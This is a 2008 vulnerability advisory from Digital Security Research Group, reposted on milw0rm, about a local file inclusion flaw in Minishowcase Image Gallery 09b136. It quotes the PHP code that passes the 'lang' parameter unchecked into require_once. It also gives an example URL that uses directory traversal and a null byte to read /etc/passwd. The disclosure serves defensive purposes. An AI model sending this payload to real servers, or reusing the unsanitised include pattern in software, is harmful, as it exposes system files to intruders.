Minishowcase 09b136 - 'lang' Local File Inclusion

Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-034


Application:                    Minishowcase Image Gallery      
Versions Affected:              v09b136
Vendor URL:                     http://minishowcase.frwrd.net
Bug:                            Local File Include
Exploits:                       YES
Reported:                       14.07.2008
Second report:                  22.07.2008
Vendor response:                NONE
Solution:                       NONE
Date of Public Advisory:        29.07.2008
Authors:                        Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Minishowcase Image Gallery has local file include vulnerability in script libraries/general.init.php

Vulnerable GET parameters "lang".

Successful exploitation requires that "register_globals" is enabled.

Code
****
#################################################

...
        $_dir_file = dirname(dirname(__FILE__));
        $_dir_path = dirname($_SERVER["DOCUMENT_ROOT"] . $_SERVER['PHP_SELF']);
        
        if ($_dir_file != $_dir_path) {
                if (!isset($settings['minishowcase_url'])
                        || ($settings['minishowcase_url'] == "")) {
                        die ("<p style=\"margin:6px;padding:20px;text-align:left;font-size:18px;background:#f60;color:#FFF;\">ALERT: if you are including minishowcase with PHP into a website, please set the <code>\$minishowcase_url</code> variable in the <code>/config/settings.php</code> file</p>");
                }
        }
...
        if (isset($_GET["lang"])) $set_language = $_GET["lang"];
        $langfile = ROOT.'languages/'.$set_language.'.php';
        require_once($langfile);

#################################################

Example:

http://[server]/[installdir]/libraries/general.init.php?settings[minishowcase_url]=DSecRG&lang=../../../../../../../../../../../../../etc/passwd%00


Solution
********

No response or any updates from vendor.


About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:    research [at] dsec [dot] ru
            http://www.dsec.ru (in Russian)

# milw0rm.com [2008-07-29]